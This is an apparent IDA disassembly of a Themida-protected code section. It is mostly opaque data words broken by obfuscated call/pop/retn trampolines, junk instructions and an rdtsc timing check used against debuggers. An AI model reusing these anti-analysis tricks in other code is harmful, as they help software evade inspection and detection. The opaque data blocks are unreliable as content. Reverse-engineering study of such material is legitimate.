dd 50400000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h, 0AA98858Dh
dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 987BA5C3h, 95295370h, 61408A9h, 0F53505Fh
dd 81h, 4895F00h, 96D78124h, 0FF157D56h, 1409AD95h, 6DBD3106h
dd 61061426h, 11059D8Bh, 85C70614h, 6142671h, 3, 58E0Fh
dd 81660000h, 33B308C3h, 143049BDh, 98BD8306h, 617AAh
dd 2D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 3E7D74C3h, 0DB71A45h, 21E9h, 0ADB52900h
dd 50061430h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 9D89C08Bh, 6142369h, 13E9h, 7563F700h, 5B94CF0h
dd 42612573h, 5E48E020h, 0C82EE016h, 0FE9h, 2C57A300h
dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 2671BD83h, 0F030614h
dd 42085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0E924F922h, 12h, 0ECD77548h, 7D8E0234h
dd 442CC140h, 7F229248h, 0BD837525h, 617AA98h, 0DE840F00h
dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 2EFFC357h, 633A612Dh, 8B1244CEh
dd 140F5D9Dh, 98B5FF06h, 6A0617AAh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BA86C353h
dd 0F595FFB0h, 6A06142Ah, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 5A9AC355h, 8BFEB70Fh
dd 17AA8CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 6C7F8ABh, 10001h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 3EC35242h, 0B6EE40E4h
dd 0DB815532h, 4D539899h, 505B5196h, 0F965F51h, 0B5FFFBB7h
dd 617AA98h, 0FFDF8B66h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1292983Dh
dd 6F8EA4E5h, 0B58BB5B7h, 617AA8Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 53C35646h, 5053E6F2h, 9099529h
dd 0BB660614h, 858B0D07h, 61421D5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 6DC35242h, 0C4868943h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B2AC352h, 14322995h, 9D316006h, 6141191h
dd 168C0Fh, 11E90000h, 82000000h, 0FF655644h, 0E94A85DFh
dd 0C12607D6h, 240A965Ah, 4C28361h, 10E9h, 20C2EB00h, 0DB1B960h
dd 0DE9D32Eh, 79FE43D6h, 2050891Fh, 0A499509h, 858D0614h
dd 617BE06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0EC35040h, 89E67DECh, 0B886h, 0DAB70F00h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 136261C3h, 7B52A837h, 0D9BF0FDFh, 0AA98B5FFh, 0EB810617h
dd 5B9255C8h, 93995FFh, 0BB500614h, 7614A577h, 6A243489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 2E0C352h, 589C2A82h, 0B98531C0h, 0FF061405h
dd 17AA98B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 5116A136h, 963EDCF7h, 58F0FD6h, 0BF000000h
dd 1C64D75Dh, 20F595FFh, 0E9600614h, 5, 3798C8A1h, 0C1816697h
dd 8361AA35h, 140C21BDh, 840F0006h, 39h, 31F9BD8Bh, 51960614h
dd 0EE8h, 940A6600h, 456B725Fh, 0D8A2EC65h, 66F427C9h
dd 5FB915BBh, 0BE9505Bh, 66000000h, 7F6255C9h, 70009E65h
dd 31964A3Fh, 142CB995h, 98B5FF06h, 6A0617AAh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0C55FC355h, 5A413953h, 11E9h, 48DDC300h, 0D611EE35h
dd 0C95BD03Fh, 0DB0A6730h, 95FF02C8h, 61402B1h, 2FB1BD89h
dd 0BD8B0614h, 6142565h, 0AA98B5FFh, 6A0617h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B557A2C3h
dd 66B031C5h, 86C2EF81h, 308195FFh, 6E80614h, 25000000h
dd 5F47A617h, 199D8B8Fh, 5F061402h, 9F5BD83h, 0F020614h
dd 3E84h, 0DD9D0300h, 8B061408h, 142D0185h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0EF120C2Ch, 0B0BB8E38h, 10D18529h, 0C60614h, 0ED38100h
dd 0C7670602h, 14244D85h, 6, 95315300h, 6141005h, 0F3B0E95Fh
dd 9D29FFFFh, 6140C89h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 299CD1C3h, 8BCA593Eh
dd 140579BDh, 99858D06h, 6A06140Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0BD22C357h, 50FA8A25h, 6A240489h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0CD0C352h
dd 2B91A976h, 1424B1BDh, 6A006A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2976C355h
dd 140575B5h, 14E806h, 0B6D20000h, 8849124Eh, 0C3448599h
dd 7DBEA455h, 35693DB0h, 0CE917D5h, 5B000000h, 0FE91A466h
dd 68E386BFh, 5B20CC77h, 850F006Ah, 6, 2945BD8Bh, 858D0614h
dd 618DE2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 75C35747h, 42BFDA23h, 0C268685Eh, 58DF8166h, 658589EAh
dd 83061419h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 1FCE6CC3h, 53198014h, 5690BF0Dh
dd 9D8B7C7Eh, 6140B09h, 0EE950h, 8600000h, 6F27BAA7h, 0EAD87DD6h
dd 9ADE86C0h, 89240489h, 140CC1B5h, 6A006A06h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 6A45C353h, 8F0F00h, 0FF000000h, 141A7195h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 77B750E6h, 0FC8D8D5Fh, 6A0617A8h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1572C351h
dd 0D1FFB534h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 97C35747h, 9589F558h, 61414C1h, 12CDBD83h, 0F010614h
dd 0C085h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 7A1668ACh, 0A8BB6649h, 6A026AF2h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0B7FAC356h, 0FD8AD5D6h, 0FE990h, 85E70000h
dd 95CA4382h, 243FCA0Dh, 0C5EC7629h, 13E850C2h, 0B9000000h
dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 5250FE48h
dd 310F5B56h, 8E9h, 0ACB84B00h, 0B2103A9Ch, 5B585A6Dh
dd 12E890h, 36500000h, 1C17ABADh, 0C31FD384h, 500F906h
dd 8F4E7DC4h, 0CEF38166h, 0BD8B5F3Fh, 6142B2Dh, 93995FFh
dd 8B660614h, 28B0FFBh, 0B7000000h
db 0D1h
; ---------------------------------------------------------------------------
loc_596A09: ; DATA XREF: Themida_:0054A544o
jmp loc_597837
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 618DE34h
push 0
push edi
call sub_596A25
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596A25 proc near ; CODE XREF: Themida_:00596A1Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_596A25 endp
; ---------------------------------------------------------------------------
mov al, 86h
dec esi
mov edi, [ebp+6140A51h]
mov edi, [ebp+6141B51h]
jmp loc_596A57
; ---------------------------------------------------------------------------
db 25h, 0CFh, 41h
db 90h
; ---------------------------------------------------------------------------
retn 1207h
; ---------------------------------------------------------------------------
dd 75E4E908h
; ---------------------------------------------------------------------------
dec ebx
ficom dword ptr [edi]
loc_596A57: ; CODE XREF: Themida_:00596A44j
lea eax, [ebp+6179623h]
push 0
push ecx
call sub_596A68
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596A68 proc near ; CODE XREF: Themida_:00596A60p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_596A68 endp
; ---------------------------------------------------------------------------
sbb [ebx-15h], ch
push eax
push eax
push edx
jmp loc_596A96
; ---------------------------------------------------------------------------
db 0F8h
dd 61E6B0E0h, 2A3F103Dh, 36AB86B7h, 0B9886966h
db 0C9h, 36h
; ---------------------------------------------------------------------------
loc_596A96: ; CODE XREF: Themida_:00596A7Ej
rdtsc
pop edx
pop eax
mov [esp], eax
push 0
push esi
call sub_596AA8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596AA8 proc near ; CODE XREF: Themida_:00596AA0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_596AA8 endp
; ---------------------------------------------------------------------------
dd 1F84685Ah, 9EF21B4Ah, 0DE9h, 920A100h, 461CB915h, 19AB1FEBh
dd 0FF645324h, 35h, 8AF38100h, 64400B83h, 2589h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0FFF3C4C3h, 14236D85h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0F16C7455h
dd 6AFF6AF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 25E1C355h, 62E381A7h, 0FF37DDDBh
dd 143099B5h, 57FB8B06h, 18B0Fh, 5FFC0000h, 2B1995FFh
dd 2EE90614h, 53000001h, 315BF98Bh, 140E69BDh, 2900B006h
dd 1425A585h, 6670E606h, 91A6D381h, 840F71E4h, 16h, 11E9h
dd 37EAD900h, 0E96427F9h, 0DD625378h, 56538C51h, 613C0F6Ah
dd 0EF830Fh, 0BE80000h, 0AD000000h, 1795F45Bh, 0B222656h
dd 0B589D070h, 6141ADDh, 0C8B60F5Bh, 6BAFA8Bh, 80000000h
dd 0C18B4DDFh, 61858B60h, 61061411h, 8004E8C1h, 0F7667FDBh
dd 56C82BE2h, 1B498D29h, 665F0614h, 0D18BFA8Bh, 11E8h
dd 5B2CFE00h, 3B01E315h, 4A602DCh, 0A2F76793h, 8D296D41h
dd 6140791h, 87E95Fh, 8D090000h, 6143111h, 53F78166h, 4858B1Bh
dd 0F000000h, 0C083FEB7h, 6890F07h, 9000000h, 1430898Dh
dd 0C08306h, 830FD03Bh, 0Dh, 52E9FA8Ah, 0B000000h, 142E419Dh
dd 0FF8D8B06h, 89FFFFFFh, 1416EDB5h, 1E18306h, 37840Fh
dd 89560000h, 140C71BDh, 0A5835B06h, 0FFFFFFFFh, 0B052BFFEh
dd 95897A18h, 4, 13E9h, 0C7815500h, 7D4815FEh, 0FAB15CAAh
dd 0F93FF519h, 47A5DFDFh, 0E9h, 0E1B58D00h, 6A06185Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 247CC355h, 0D3108194h, 6ADFE46Bh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 9F08C831h, 0F9F3E33Fh, 0CE9h, 0D857EF00h, 0FD047864h
dd 5F634140h, 69B5094Bh, 0FF06142Eh, 14116995h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0F52B911Bh, 6CACE899h, 24499D8Bh, 0CFB90614h, 6A000010h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0D35CC356h, 6A8EB9B7h, 0BF90FBD7h, 5F34B157h
dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0A774C350h, 4E783EE6h, 899D8B1Ch
dd 8006141Ch, 6AFC9EE3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 78CBC355h, 0E5628B55h
dd 56BB6634h, 959D2BCEh, 0B8061403h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_596DC7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596DC7 proc near ; CODE XREF: Themida_:00596DBFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_596DC7 endp
; ---------------------------------------------------------------------------
db 57h
dd 0BA14h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0FC9A2C3h, 689h, 0E19D8900h, 0AD061423h
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BEB4C351h
dd 7D5E50Dh, 5E8h, 4F01AF00h, 0BD89533Fh, 61419D5h, 56006A5Bh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0E80D6DD3h, 9, 0ED4EEBC7h, 6ABF724Bh, 0EE960AEh, 0C000000h
dd 8B849439h, 0B77ADC93h, 56D60656h, 0C6CC8017h, 880D5B61h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8BE8C350h, 14322995h, 0D1B50906h
dd 0F061403h, 8D8BF8B7h, 614064Dh, 0C28B50FCh, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 3358188Bh, 1419D19Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0BD71D075h, 1591BD8Bh, 0BF660614h, 0BD835717h, 61429ADh
dd 55840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 4511C350h, 0B858A3h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 4365C350h, 798D8DD7h, 906144Dh
dd 1410D58Dh, 0E3816606h, 0E1FF4E8Bh, 2671BD83h, 0F000614h
dd 40F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 47AF34Eh, 2ACF4877h, 0B5890CA7h
dd 6142A15h, 350D9D8Bh, 0BD830614h, 6142671h, 0EC840F01h
dd 31000003h, 1434E98Dh, 71BD8306h, 3061426h, 3A3860Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0F8455C3h, 687h, 2D958900h, 6006140Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B8C35747h, 0D98C66B8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h
dd 0E1809D1Ah, 0FE904h, 85030000h, 0EED2396h, 0D5333C20h
dd 0A13F6DE5h, 0FC90ABDh, 15D84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 4650FD94h
dd 0E9196DC7h, 0Ah, 0C9ADBCE1h, 225F0422h, 858BFECAh, 6141969h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 37C35646h
dd 0E9998A94h, 0Bh, 707B7D4Bh, 4B6BB8E0h, 332BD1C0h, 141B8185h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0B8DD3344h, 90F88B66h, 6050DA8Ah, 0FE8h
dd 2B390D00h, 941C479Dh, 768102D9h, 38897B94h, 665A6160h
dd 615B3DBAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 6A0C0Dh, 8599D01h, 25680614h, 0E8B7B885h
dd 14h, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 0A99C518Dh
dd 61605250h, 0DD8A310Fh, 815B585Ah, 7EDA2404h, 6A4866h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0F93FF5C3h, 47A5DFDFh, 25BD8BD4h, 0FF06142Bh, 1409AD95h
dd 0D1BD8B06h, 89061412h, 17AA9885h, 16CE906h, 13E90000h
dd 75000000h, 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h
dd 858B870Bh, 617AA90h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0F3C35040h, 0EB177BBh, 1800C75Bh, 89000000h
dd 14053595h, 94B58B06h, 290617AAh, 1410B59Dh, 29858B06h
dd 8906140Bh, 0B5BD8B06h, 8B06142Ch, 14196985h, 895FBB06h
dd 0BF0F7FA0h, 44689D9h, 50FFBF0Fh, 16870Fh, 11E90000h
dd 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h
dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 24D4C357h, 7E3653ECh, 0A5BD2920h
dd 0FF06141Ch, 17AA90B5h, 5D9D3306h, 68061423h, 0DCDA5D0Fh
dd 48198B3h, 44A6F024h, 6880F23h, 0F000000h, 8Dh, 98858D00h
dd 6A0617AAh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 4D0CC350h, 75EB8474h, 0A5A1A5BFh
dd 5660506Bh, 0BC3EBA66h, 0C0BB6659h, 48961C0h, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 221B9A3Ch, 55A9126Eh, 9D89DAC2h, 6142F9Dh, 0BE9h, 2ACB0E00h
dd 0D015B6CBh, 77219BD1h, 9AD95FFh, 89510614h, 14199DB5h
dd 6A615B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 66ABC351h, 0C7B7D9BFh, 14267185h
dd 306h, 6EE78100h, 832AB7F3h, 17AA98BDh, 840F0006h, 2Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AFC35242h
dd 0BF66521Dh, 21E944F2h, 0B000000h, 141621BDh, 0C305006h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0DE9h
dd 37DD8000h, 78162642h, 0E66C73F6h, 6A6625h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C63CA5C3h
dd 83FEBF0Fh, 142671BDh, 850F0306h, 403h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 71A287C4h
dd 66E44BFFh, 895721BBh, 140639B5h, 98BD8306h, 617AAh
dd 3C9840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 18ED7C3h, 141B6D85h, 98B5FF06h
dd 0F50617AAh, 10E9BD8Bh, 95FF0614h, 6142AF5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EAC35343h, 83B9BF52h
dd 8B5F3B8Eh, 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 44E8610Bh, 8B60BB84h
dd 1421E5BDh, 6CB96606h, 6C761CFh, 10001h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D0C35343h, 74392C44h
dd 0E7C47750h, 0D4DBD01h, 0E9500614h, 0Bh, 0EDDBB575h
dd 0E301FB96h, 89BB82CDh, 0BF662434h, 0B5FF387Ah, 617AA98h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h
dd 90E018BDh, 0E9D3816Bh, 0FF72A5DCh, 140B3195h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 961EA16Eh, 9DF891F6h, 8D0FA306h, 6, 30C59D03h, 0B58B0614h
dd 617AA8Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 97C35242h, 0E9ECF231h, 8, 97990A3Dh, 0ED9450FBh
dd 6799D29h, 858B0614h, 61421D5h, 1C259589h, 86890614h
dd 0C4h, 8699D8Bh, 958B0614h, 6143229h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 15h
dd 65C35040h, 99D89CAh, 83061411h, 6A04C2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0F99904C3h
dd 0AE8h, 553DC400h, 0DAB13CBEh, 8BAC4C15h, 50895FFBh
dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0F8FD2CC8h, 97572F9h, 0BE06858Dh, 66500617h
dd 895BDE8Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 6BA4707Fh, 9447E507h
dd 0BF0F039Ah, 0F006ADEh, 0B5FFFEB7h, 617AA98h, 0F1BD0Bh
dd 0FFFC0614h, 14093995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FFB70FCDh
dd 79BB6696h, 0F9650C9h, 0B5FFFEBFh, 617AA98h, 29BD8956h
dd 5F061405h, 20F595FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 6BE337C3h, 6499D2Bh
dd 0BD830614h, 6140C21h, 23840F00h, 80000000h, 669679C7h
dd 50D4B6BFh, 11E9h, 20B53800h, 0A71F97DDh, 91E5C1ABh
dd 7178274Dh, 0F96EBD5h, 0B5FFDAB7h, 617AA98h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h, 94EF7E9Fh
dd 0CE8630A2h, 68C0F91h, 9000000h, 141475B5h, 0B195FF06h
dd 6A061402h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0ABDC355h, 98B5FFF5h, 600617AAh
dd 1B61858Bh, 8D890614h, 6140289h, 8195FF61h, 6A061430h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0FBA7C355h, 0AEAE21C0h, 9F5BD83h, 0F020614h
dd 2A84h, 4D9D8B00h, 8B06141Bh, 142D0185h, 13E806h, 0A0020000h
dd 0A344E5F2h, 0FF5A9089h, 712F27FAh, 51AA1042h, 5FA3B7A3h
dd 0C70000C6h, 14244D85h, 6, 0F99D8B00h, 0E9061423h, 0FFFFF329h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DFC35343h
dd 163113E4h, 880FDFE1h, 6, 58D9D89h, 8BF50614h, 79B589C1h
; ---------------------------------------------------------------------------
add edx, [esi+eax]
loc_597837: ; CODE XREF: Themida_:loc_596A09j
lea eax, [ebp+6140F99h]
push esi
or ebx, 5104EF66h
pop ebx
nop
mov bx, ax
push eax
jmp loc_597862
; ---------------------------------------------------------------------------
db 31h
dd 5DD2B47Bh, 211A2B30h, 2758540h, 79E74E05h
db 0C6h, 1Dh
; ---------------------------------------------------------------------------
loc_597862: ; CODE XREF: Themida_:0059784Aj
nop
push 0
push ebx
call sub_59786E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59786E proc near ; CODE XREF: Themida_:00597866p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_59786E endp
; ---------------------------------------------------------------------------
sub [esi+283A045Fh], edx
or eax, 6A006Ah
push 0
push edx
call sub_597894
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597894 proc near ; CODE XREF: Themida_:0059788Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_597894 endp
; ---------------------------------------------------------------------------
dd 610904C4h, 0FFBA0FFEh, 0DE91Ah, 5EC60000h, 0B2420B04h
dd 49E29EB7h, 8BEC5838h, 1414FDBDh, 46858D06h, 8B0618EEh
dd 1413859Dh, 5C08306h, 0B17FBB66h, 5B536050h, 89618BB3h
dd 81662404h, 6AC653DBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 9E92CC89h, 0DB354FD7h
dd 0BF66FA8Bh, 8B601769h, 142F299Dh, 0BE906h, 0FE6E0000h
dd 64730EFEh, 0B72BCB75h, 6A61A1h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0A8C35646h, 7195FF8Ch, 8B06141Ah
dd 0FC8D8DF9h, 6A0617A8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 11DBC355h, 635D0B9h
dd 0D1FF740Bh, 14E8h, 3A6CC700h, 7F52E440h, 3CB7E095h
dd 0B73D9EF8h, 6186ADF3h, 9D8B565Dh, 6142425h, 0BD835B5Bh
dd 61412CDh, 7A850F01h, 0FC000000h, 6A026Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E94120C3h
dd 13h, 327CF8BAh, 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 31DD1EF6h
dd 140C6185h, 6E95006h, 0AC000000h, 0B1950667h, 24048951h
dd 93995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 9B8627C3h, 945477Ch, 143521B5h
dd 0E28E906h, 0E80000h, 5D000000h, 0EE50ED81h, 6A0618h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0A0228DC3h, 2FB99589h, 840F0614h, 13h, 0EE9h, 5243CA00h
dd 8543B374h, 0F9F58BD6h, 6ABE1255h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8C17C356h
dd 3F9BD8Bh, 9D290614h, 6142259h, 9623858Dh, 6A0617h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0F6DDF9C3h, 0F7801CEh, 0E990D8B7h, 0Fh, 0EE9CA00Ch
dd 0B532D61Ah, 0FA1BD232h, 50FB914Bh, 0EE8h, 11D1A600h
dd 0AB51A57h, 0E9CEAE81h, 52047E32h, 0F07D4BBFh, 905F5F44h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h
dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8DC5B9C3h
dd 65DAE12Bh, 0DB80BBCBh, 12E83Ah
db 2 dup(0)
word_597B4E dw 0BA32h ; DATA XREF: Themida_:00549ACCo
dd 0A2BDE184h, 0C453DABFh, 51675D33h, 7B8BC36h, 68B0Fh
dd 0BD230000h, 6140B95h, 6D85FF5Fh, 6A061423h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0A477C356h, 0EDBD0950h, 0F06140Eh, 68Ah, 0C58D8900h
dd 6A061404h, 0F9BF0FFFh, 2EA18589h, 0B5FF0614h, 6140669h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4CC35646h
dd 0F7CF8136h, 0FF2F26E9h, 142B1995h, 0DEE906h, 0B0F80000h
dd 0F7816600h, 70E6B916h, 6810Fh, 85090000h, 61401D5h
dd 0C78071E4h, 0F613CD7h, 0BB83h, 8E900h, 9F30000h, 0AEE8C76h
dd 0B60F2F6Ch, 9EFCBBC8h, 42B74D7Bh, 6BAh, 4A30BF00h, 0C18B18F5h
dd 8B04E8C1h, 140CF5BDh, 0E2F76606h, 85316053h, 6142F91h
dd 61F18B66h, 8BC82B5Bh, 1401AD9Dh, 8BD18B06h, 6EE9F8h
dd 858B0000h, 5F4C4C44h, 0C083FD8Ah, 8D958907h, 83061406h
dd 0BD8900C0h, 6141705h, 0D03B62B7h, 8830Fh, 0B70F0000h
dd 42E9F9h, 8D8B0000h, 0FFFFFFFFh, 0BE9h, 0D11C7200h, 0C2B28F4Fh
